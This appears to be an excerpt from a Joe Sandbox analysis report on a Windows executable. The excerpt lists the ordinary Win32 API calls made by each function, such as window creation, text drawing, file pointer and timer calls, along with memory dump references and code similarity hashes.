            • Part of subcall function 004921AF: lstrlenA.KERNEL32(?,00000100,0049762E,000000FF,004BBE84,00000000,000000FF,00000100,004BBE84,004BBE84,?,00000100,00000000,0041AEA0), ref: 004921C2
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: TextWindow$Lengthlstrlen
          • String ID:
          • API String ID: 288803333-0
          • Opcode ID: 5b67048a0e279a70298e48dc484cc476e2f70e760e6cd71b5826af82c626bdf6
          • Instruction ID: 4e16b523be89e99fd3026de554c4390b8172002614d6edfba6c00d7340f9914a
          • Opcode Fuzzy Hash: 5b67048a0e279a70298e48dc484cc476e2f70e760e6cd71b5826af82c626bdf6
          • Instruction Fuzzy Hash: 1BE0A931008200BFCB189F10DC48CAA7FA5AF88310B008A3EB167825B0CA30A882CB08
          APIs
          • SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,00424FA9), ref: 00492657
          • GetLastError.KERNEL32(00000000,?,00424FA9), ref: 00492666
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ErrorFileLastPointer
          • String ID:
          • API String ID: 2976181284-0
          • Opcode ID: 77676a012c4a6e8dfe19277295a2fead70d02f33848b92c524112ed0fa8d8e72
          • Instruction ID: f37d8a10d6c7d8f4a18055a39f6ec2cbc9385073a083e47ee3e6060bc1367513
          • Opcode Fuzzy Hash: 77676a012c4a6e8dfe19277295a2fead70d02f33848b92c524112ed0fa8d8e72
          • Instruction Fuzzy Hash: 56D0A9366422203BD9202374BC0FFC66D048B82BB5F1082B2FA24FA2E0C2A18C008388
          APIs
          • CloseHandle.KERNEL32(00000001,?,?,004923EE,?,?,0040A267,?,00000020,00000000), ref: 004926A6
          • GetLastError.KERNEL32(00000000,004923EE,?,?,0040A267,?,00000020,00000000), ref: 004926CB
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CloseErrorHandleLast
          • String ID:
          • API String ID: 918212764-0
          • Opcode ID: f85545ab67463bae8ad53967055ff6bb02b814a4aee71e9174e7b04867238e3e
          • Instruction ID: 91e243ce358e81cf1d8b439febbe0549068f7901a60d58fd5fee8a1992b7aaf6
          • Opcode Fuzzy Hash: f85545ab67463bae8ad53967055ff6bb02b814a4aee71e9174e7b04867238e3e
          • Instruction Fuzzy Hash: 91E092361007005BCB24563ADD09B667A999FC1731F10872EE57AC76E0CFB498058618
          APIs
          • RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000,?,00000000,00000000,00000000), ref: 004821CC
            • Part of subcall function 00488384: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883C1
            • Part of subcall function 00488384: EnterCriticalSection.KERNEL32(?,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883DC
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CriticalSection$AllocateEnterHeapInitialize
          • String ID:
          • API String ID: 1616793339-0
          • Opcode ID: 80697073a7283bd082bba45da59008e2729e0d433270a6c29c4dac03a002c220
          • Instruction ID: f0871ce311b60035c9d9297b8c23d39ef7d63591faab9a808e64a5418995e36d
          • Opcode Fuzzy Hash: 80697073a7283bd082bba45da59008e2729e0d433270a6c29c4dac03a002c220
          • Instruction Fuzzy Hash: 8F21E532A00605ABDB10FF65DD46B9E77B4EB00B24F244A1BF910EB2C1D7BC9941975D
          APIs
          • __EH_prolog.LIBCMT ref: 00493592
            • Part of subcall function 0049B84D: TlsGetValue.KERNEL32(004FCF74,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000,?,0048F893,00000000,00000000,00000000,00000000), ref: 0049B88C
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: H_prologValue
          • String ID:
          • API String ID: 3700342317-0
          • Opcode ID: 084b284fdbed7408362b2a9755f18797c4fff15e00649c740999b3db83dfcded
          • Instruction ID: 17ed09b0ecd4da8080fe6d4f20007b1a007105b76f564cb9f3351e83c17288ee
          • Opcode Fuzzy Hash: 084b284fdbed7408362b2a9755f18797c4fff15e00649c740999b3db83dfcded
          • Instruction Fuzzy Hash: B0217A72900209EFCF01DF54C581AEE7BB9FF49315F01406AF915AB241C778AE40CBA4
          APIs
          • CreateWindowExA.USER32(00000000,00000080,004410B1,?,?,?,?,?,?,?,?,?), ref: 00493D52
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CreateWindow
          • String ID:
          • API String ID: 716092398-0
          • Opcode ID: fcc011e2f8a630ce19ca473bf5abea9716edbd3b15ecc4594cb678a739907b31
          • Instruction ID: a07cc989f590242ff5db835f616361c430b24429165b40f64ed835b1b37ef1e5
          • Opcode Fuzzy Hash: fcc011e2f8a630ce19ca473bf5abea9716edbd3b15ecc4594cb678a739907b31
          • Instruction Fuzzy Hash: E9319A79A00219AFCF01DFA8C944ADEBBF1BF4C304F11856AF919E7210E7359A519FA4
          APIs
            • Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
            • Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1
            • Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B
          • IsRectEmpty.USER32(?), ref: 00420700
            • Part of subcall function 00420220: CreateRectRgn.GDI32(?,?,?,?), ref: 0042026E
            • Part of subcall function 00420220: GetClientRect.USER32(?,?), ref: 00420309
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$BeginClientClipCreateEmptyH_prologPaint
          • String ID:
          • API String ID: 4024812366-0
          • Opcode ID: 47cd56d74fbdbe7a0fe1fdeb691bc4de34e2295d3759247a9799fab1a82c3d5a
          • Instruction ID: 05a9cd12a4dd5dc6f5a9783faa1fcc86fbc0e8175c11613b5be161aefec64e73
          • Opcode Fuzzy Hash: 47cd56d74fbdbe7a0fe1fdeb691bc4de34e2295d3759247a9799fab1a82c3d5a
          • Instruction Fuzzy Hash: 69F0D171104741DBC714EF18D941B9EBBE8FB85B14F800A2EF065832D1DB389908CBA2
          APIs
          • SendMessageA.USER32(?,?,?,?), ref: 004950CB
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend
          • String ID:
          • API String ID: 3850602802-0
          • Opcode ID: a3627fb494c2ca30668bfe6f7c2a2c81441d442d749fecac3fec509163f8501c
          • Instruction ID: 0e4f83d2460f5d4c96521573c7938db0968c1f8a21571cf3f95cd27eda327353
          • Opcode Fuzzy Hash: a3627fb494c2ca30668bfe6f7c2a2c81441d442d749fecac3fec509163f8501c
          • Instruction Fuzzy Hash: 0FF09032500619AFDF229F50DC44BEA7F26AF04314F30843AFD155A160C776DD61DB98
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 2fcc67907fe89004e051f81ea497d45a631baf30a710454a521281c26d05023d
          • Instruction ID: 2474e536fd3faa5da00625ec58ec72d3a21a1f95e7b953ef991076d9ed07978f
          • Opcode Fuzzy Hash: 2fcc67907fe89004e051f81ea497d45a631baf30a710454a521281c26d05023d
          • Instruction Fuzzy Hash: 74F01232401119FBCF12AE819C05DDB3F99BF1A762F008436FA4555111C37E9621DBAA
          APIs
          • SetTimer.USER32(?,000003E8,?,00000000), ref: 0041323D
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Timer
          • String ID:
          • API String ID: 2870079774-0
          • Opcode ID: 1f17648a2d31410e13d786885fcb39c2319beb620d50d38ba334ad04af70664d
          • Instruction ID: 8f7e7fbc4d00de01cfaeef351597aa51aef7b5601ec4e27fe1e01c08b0bff401
          • Opcode Fuzzy Hash: 1f17648a2d31410e13d786885fcb39c2319beb620d50d38ba334ad04af70664d
          • Instruction Fuzzy Hash: 30E01A716047105BEA70EE799844B97A7E8AB28726F008A6BF602C6690C6B5E9448718
          APIs
          • LoadStringA.USER32(?,?,?,?), ref: 00497653
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: LoadString
          • String ID:
          • API String ID: 2948472770-0
          • Opcode ID: b06c5906f9922cf0757db680e69fa6f8ca5a32265b33852181353df7c59b721a
          • Instruction ID: 0b2cd4d7cbe6770b156036ad64d49da13451fdda363dc6a23483e0c2ebbcdec3
          • Opcode Fuzzy Hash: b06c5906f9922cf0757db680e69fa6f8ca5a32265b33852181353df7c59b721a
          • Instruction Fuzzy Hash: ADD0A7760083629BCB01DF64980CD8FBFA4FF55320F080C5EF48043111C324C844D765
          APIs
          • ShowWindow.USER32(?,?,0041710C,00000000), ref: 0049613D
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ShowWindow
          • String ID:
          • API String ID: 1268545403-0
          • Opcode ID: d929e6768bc02c217552fe4b882b3dcee4958e5748a0ee983f8c25a97ce3f38a
          • Instruction ID: 29b00b78429a51b93a8608525b7255466705083d4198c675459ab12e77ecc02a
          • Opcode Fuzzy Hash: d929e6768bc02c217552fe4b882b3dcee4958e5748a0ee983f8c25a97ce3f38a
          • Instruction Fuzzy Hash: 07D09230604201AFCF458F60CA48A1ABBA2BF95705F218579E44A8B662E736DC52EB45
          APIs
          • DrawTextA.USER32(?,?,?,?,?), ref: 0047FCDD
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: DrawText
          • String ID:
          • API String ID: 2175133113-0
          • Opcode ID: 615690f83b8d35035d413d7b99a10b219be07fc8de564baa99da034d8110f46f
          • Instruction ID: 0492693384f68d6127e4b0ae4ab33a6cdb4f1bdab9dd9616163d7492797ec208
          • Opcode Fuzzy Hash: 615690f83b8d35035d413d7b99a10b219be07fc8de564baa99da034d8110f46f
          • Instruction Fuzzy Hash: DCC00136408382EBCB02CF80CD0482ABEE2BB89300F188C1CB2A24003183238029EB02
          APIs
            • Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
            • Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1
            • Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B
          • DPtoLP.GDI32 ref: 0043269B
          • GetClientRect.USER32(?,?), ref: 004326A9
          • DPtoLP.GDI32(?,?,00000002), ref: 004326C1
          • IntersectRect.USER32(?,?,?), ref: 00432760
          • LPtoDP.GDI32(?,?,00000002), ref: 004327A1
          • IntersectRect.USER32(?,?,?), ref: 004327FE
          • LPtoDP.GDI32(?,?,00000002), ref: 0043283F
          • CreateRectRgnIndirect.GDI32(?), ref: 0043286A
